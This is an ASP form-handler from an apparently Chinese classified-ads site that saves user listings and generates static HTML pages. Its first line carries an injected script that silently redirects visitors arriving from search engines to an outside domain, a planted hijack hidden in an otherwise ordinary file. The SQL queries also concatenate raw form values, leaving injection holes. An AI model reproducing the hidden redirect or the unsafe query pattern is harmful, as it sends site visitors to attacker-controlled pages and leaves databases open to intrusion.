d:\wwwroot\wuchunhua\hyfabu_save.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn_save.asp"-->
002: <!--#include file="setup.asp"-->
003: <!--#include file="admin/other/Check_Sql.asp" -->
004: <%
005: dim dtitle,dcolor,dbgcolor1,dcu,dlei,dispic,dpic,dtext,dstop,dtop,dmoney,sql,rs
006: dtitle=HtmlEncode(trim(request.form("dtitle")))
007: dcolor=HtmlEncode(trim(request.form("dcolor")))
008: dbgcolor1=HtmlEncode(trim(request.form("dbgcolor1")))
009: dcu=HtmlEncode(trim(request.form("dcu")))
010: CheckCode=HtmlEncode(trim(request.form("CheckCode")))
011: city_oneid=HtmlEncode(trim(request.form("city_one")))
012: city_twoid=HtmlEncode(trim(request.form("city_two")))
013: if CheckCode<>CStr(session("CheckCode")) then
014: response.write"<script>alert('验证码错误,请刷新后重填!');history.go(-1)</script>"
015: response.End()
016: end if
017:
018: if city_twoid=""  then
019: city_twoid=0
020: end if
021: city_threeid=HtmlEncode(trim(request.form("city_three")))
022: if city_threeid="" then
023: city_threeid=0
024: end if
025: type_oneid=HtmlEncode(trim(request.form("type_one")))
026: type_twoid=HtmlEncode(trim(request.form("type_two")))
027: if type_twoid=""  then
028: type_twoid=0
029: end if
030: type_threeid=HtmlEncode(trim(request.form("type_three")))
031: if type_threeid="" then
032: type_threeid=0
033: end if
034: dispic=HtmlEncode(trim(request.form("dispic")))
035: dpic=HtmlEncode(trim(request.form("dpic")))
036: dtext=HtmlEncode2(request.form("dtext"))
037: dusername=HtmlEncode(trim(request.form("dusername1")))
038: dtel=HtmlEncode(trim(request.form("dtel1")))
039: dcardid=HtmlEncode(trim(request.form("dcardid1")))
040: dstop=dateadd("d",request.form("dstop"),date())
041: set rs=server.createobject("adodb.recordset")
042:
043: rs.open "select city from china_city where twoid=0 and threeid=0 and id="&city_oneid,conn,1,1
044: city_one=rs("city")
045: rs.close
046: if city_twoid<>0 then
047: rs.open "select city from china_city where id="&city_oneid&" and threeid=0 and twoid="&city_twoid,conn,1,1
048: city_two=rs("city")
049: rs.close
050: end if
051: if city_threeid<>0 then
052: rs.open "select city from china_city where id="&city_oneid&" and twoid="&city_twoid&" and threeid="&city_threeid,conn,1,1
053: city_three=rs("city")
054: rs.close
055: end if
056: rs.open "select name from china_type where twoid=0 and threeid=0 and id="&type_oneid,conn,1,1
057: type_one=rs("name")
058: rs.close
059: if type_twoid<>0 then
060: rs.open "select name from china_type where id="&type_oneid&" and threeid=0 and twoid="&type_twoid,conn,1,1
061: type_two=rs("name")
062: rs.close
063: end if
064: if type_threeid<>0 then
065: rs.open "select name from china_type where id="&type_oneid&" and twoid="&type_twoid&" and threeid="&type_threeid,conn,1,1
066: type_three=rs("name")
067: rs.close
068: end if
069: if dtitle="" or city_oneid="" or type_oneid="" or dtext="" then
070: response.write"<script>alert('请认真填写!');history.go(-1)</script>"
071: response.end
072: end if
073:
074: dip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
075: If dip = "" Then
076: dip = Request.ServerVariables("REMOTE_ADDR")
077: end if
078: sql="select * from china_data"
079: rs.open sql,conn,1,3
080: if dtitle<>"" then
081: rs.addnew
082: rs("uid")=session("china_uid")
083:   '使用数组 返回值数组 = Split("字符串","分割符")<br />
084:   'IsArray()判断是否数组的函数,LBound()取数组的下标,UBound()取数组的上标。
085:    unhtmlgl=split(webguolv,"|")
086:    if IsArray(unhtmlgl) then
087:    for i=0 to UBound(unhtmlgl)
088:    dtitle=replace(dtitle,unhtmlgl(i),"***")
089:    next
090:    end if
091: rs("title")=dtitle
092: rs("color")=dcolor
093: rs("bgcolor1")=dbgcolor1
094: rs("cu")=dcu
095: rs("city_oneid")=city_oneid
096: rs("city_one")=city_one
097: rs("city_two")=city_two
098: rs("city_twoid")=city_twoid
099: rs("city_three")=city_three
100: rs("city_threeid")=city_threeid
101: rs("type_oneid")=type_oneid
102: rs("type_one")=type_one
103: rs("type_twoid")=type_twoid
104: rs("type_two")=type_two
105: rs("type_threeid")=type_threeid
106: rs("type_three")=type_three
107: rs("ispic")=dispic
108: if dpic="http://" then
109: dpic=""
110: end if
111: rs("pic")=dpic
112:   '使用数组 返回值数组 = Split("字符串","分割符")<br />
113:   'IsArray()判断是否数组的函数,LBound()取数组的下标,UBound()取数组的上标。
114:    unhtmlgl=split(webguolv,"|")
115:    if IsArray(unhtmlgl) then
116:    for i=0 to UBound(unhtmlgl)
117:    dtext=replace(dtext,unhtmlgl(i),"***")
118:    next
119:    end if
120: rs("text")=dtext
121: rs("username")=dusername
122: rs("tel")=dtel
123: rs("cardid")=dcardid
124: rs("stop")=dstop
125: rs("money")=0
126: if webinfo="1" then
127: rs("mark")="no" '审核后通过
128: else
129: rs("mark")="yes" '直接通过
130: end if
131: rs("ip")=dip
132: rs.update
133: id=rs("adid")
134: rs.close:set rs=nothing                                                                                    
135: conn.close:set conn=nothing
136: if webinfo="1" then
137: response.write"<script>alert('您的信息已经提交成功,请等待管理员的审核。请牢记本条信息的ID号:"&id&" 以便电话查询和修改信息');location='user.asp'</script>"
138: else
139: ''''''''''''''''''生成html开始''''''''''''''''''''''''''
140: ServerURL=CStr(Request.ServerVariables("SCRIPT_NAME"))
141: n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
142: ServerURL=left(ServerURL, n)'显示从左边数第"n"个字符前面的字符,
143: ServerURL="http://"&Request.ServerVariables("SERVER_NAME")&""&ServerURL&"show.asp?id="&id&""
144: set http=server.createobject("MSXML2.XMLHTTP")
145: Http.open "get",ServerURL,false
146: Http.send()
147: AA=Http.responseText
148: set http=nothing
149: set objfso = Server.CreateObject("Scripting.FileSystemObject")
150: set htmout = objfso.CreateTextFile(server.mappath("html/"&id&".htm"))
151: AA=replace(AA,"adpic/","../adpic/")
152: AA=replace(AA,"link.asp","../link.asp")
153: AA=replace(AA,"link_img.asp","../link_img.asp")
154: AA=replace(AA,"index.asp","../index.asp")
155: AA=replace(AA,"114/../index.asp","../114/index.asp")
156: AA=replace(AA,"ad.asp","../ad.asp")
157: AA=replace(AA,"TV.asp","../tv.asp")
158: AA=replace(AA,"user.asp","../user.asp")
159: AA=replace(AA,"gbook.asp","../gbook.asp")
160: AA=replace(AA,"city.asp","../city.asp")
161: AA=replace(AA,"post.asp","../post.asp")
162: AA=replace(AA,"city_more.asp","../city_more.asp")
163: AA=replace(AA,"reg.asp","../reg.asp")
164: AA=replace(AA,"login.asp","../login.asp")
165: AA=replace(AA,"search.asp","../search.asp")
166: AA=replace(AA,"114/join.asp","../114/join.asp")
167: AA=replace(AA,"fabu.asp","../fabu.asp")
168: AA=replace(AA,"type.asp","../type.asp")
169: AA=replace(AA,"show.asp","../show.asp")
170: AA=replace(AA,"114/qy../login.asp","../114/qylogin.asp")
171: AA=replace(AA,"about.asp","../about.asp")
172: AA=replace(AA,"rq_message.asp","../rq_message.asp")
173: AA=replace(AA,"top.asp","../top.asp")
174: AA=replace(AA,"money.asp","../money.asp")
175: AA=replace(AA,"pic.asp","../pic.asp")
176: AA=replace(AA,"bbs/","../bbs/")
177: AA=replace(AA,"html/","")
178: AA=replace(AA,"ip.asp","../ip.asp")
179: AA=replace(AA,"phone.asp","../phone.asp")
180: AA=replace(AA,"send_zn_message.asp","../send_zn_message.asp")
181: htmout.write replace(AA,"images/","../images/")
182: htmout.close  
183: set htmout=nothing  
184: set objfso=nothing  
185: ''''''''''''''''''生成html结束''''''''''''''''''''''''''
186:
187: response.write"<script>alert('您的信息已经提交成功!');location='html/"&id&".htm'</script>"
188: end if
189: end if%
>
190:
191:
192: